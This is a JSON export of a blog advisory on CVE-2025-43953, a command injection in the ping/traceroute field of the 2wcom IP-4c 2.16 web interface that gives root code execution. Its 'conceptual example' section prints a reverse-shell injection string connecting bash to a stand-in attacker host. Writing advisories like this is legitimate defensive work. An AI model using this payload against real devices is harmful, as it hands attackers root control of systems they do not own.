{"id":78073,"date":"2025-09-27T08:33:26","date_gmt":"2025-09-27T08:33:26","guid":{"rendered":""},"modified":"2025-10-22T19:05:00","modified_gmt":"2025-10-23T01:05:00","slug":"cve-2025-43953-critical-vulnerability-in-2wcom-ip-4c-allows-arbitrary-code-execution","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-43953-critical-vulnerability-in-2wcom-ip-4c-allows-arbitrary-code-execution\/","title":{"rendered":"<strong>CVE-2025-43953: Critical Vulnerability in 2wcom IP-4c Allows Arbitrary Code Execution<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A high-risk vulnerability, identified as CVE-2025-43953, has been discovered in the 2wcom IP-4c 2.16. This vulnerability affects the web interface of the product, allowing administrative and managerial users to execute arbitrary code as root. This poses a significant threat to organizations that utilize the 2wcom IP-4c for their operations, as it can lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22404-potential-system-compromise-due-to-use-after-free-vulnerability\/\"  data-wpil-monitor-id=\"85560\">system compromise<\/a> or data leakage. Given the severity of this vulnerability, it is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35115-critical-system-package-download-vulnerability-in-agiloft-release-28\/\"  data-wpil-monitor-id=\"85281\">critical for affected users to understand the vulnerability<\/a> and take immediate action to mitigate its potential impacts.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-43953<br \/>\nSeverity: High (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: High (Admin or Manager User)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8067-udisks-daemon-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"85722\">System Compromise<\/a>, Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3801694586\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>2wcom IP-4c | 2.16<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58159-remote-code-execution-vulnerability-in-wegia-web-manager-for-charitable-institutions\/\"  data-wpil-monitor-id=\"85478\">vulnerability exists within the web<\/a> interface of the 2wcom IP-4c 2.16 product. The ping or traceroute field on the TCP\/IP screen does not properly sanitize user input, allowing for the insertion of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22405-arbitrary-code-execution-vulnerability-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"85472\">arbitrary code<\/a>. When a privileged user (admin or manager) inputs malicious code into these fields, the system <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22409-code-execution-vulnerability-in-rfc-send-buf-uih-could-lead-to-local-privilege-escalation\/\"  data-wpil-monitor-id=\"85464\">executes the code<\/a> as root. This allows an attacker to gain unauthorized control over the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54742-data-deserialization-vulnerability-in-wpevently-leading-to-possible-system-compromise\/\"  data-wpil-monitor-id=\"86404\">system or cause data<\/a> leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1646741782\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited. In this example, malicious shell commands are inserted into the ping field on the TCP\/IP screen:<\/p>\n<pre><code class=\"\" data-line=\"\">ping; \/bin\/bash -i &gt;&amp; \/dev\/tcp\/attacker-ip\/8080 0&gt;&amp;1<\/code><\/pre>\n<p>In this example, after the `ping;` command, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-59352-critical-vulnerability-in-dragonfly-file-distribution-system-leading-to-potential-remote-code-execution-rce\/\"  data-wpil-monitor-id=\"90808\">system executes<\/a> a bash shell that connects back to the attacker&#8217;s machine, giving the attacker control over the system.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block the types of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85397\">requests used to exploit this vulnerability<\/a>, protecting the system from potential compromises.<br \/>\nPlease note that these are only temporary solutions and that the only way to completely mitigate this vulnerability is to apply the vendor&#8217;s patch once it&#8217;s released. Please ensure to keep your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7093-critical-vulnerability-in-belkin-f9k1122-1-00-33-impacting-system-security-and-data-integrity\/\"  data-wpil-monitor-id=\"91091\">systems up to date and regularly check for any security<\/a> updates.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A high-risk vulnerability, identified as CVE-2025-43953, has been discovered in the 2wcom IP-4c 2.16. This vulnerability affects the web interface of the product, allowing administrative and managerial users to execute arbitrary code as root. This poses a significant threat to organizations that utilize the 2wcom IP-4c for their operations, as it can lead to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-78073","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/78073","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=78073"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/78073\/revisions"}],"predecessor-version":[{"id":84110,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/78073\/revisions\/84110"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=78073"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=78073"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=78073"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=78073"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=78073"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=78073"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=78073"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=78073"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=78073"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}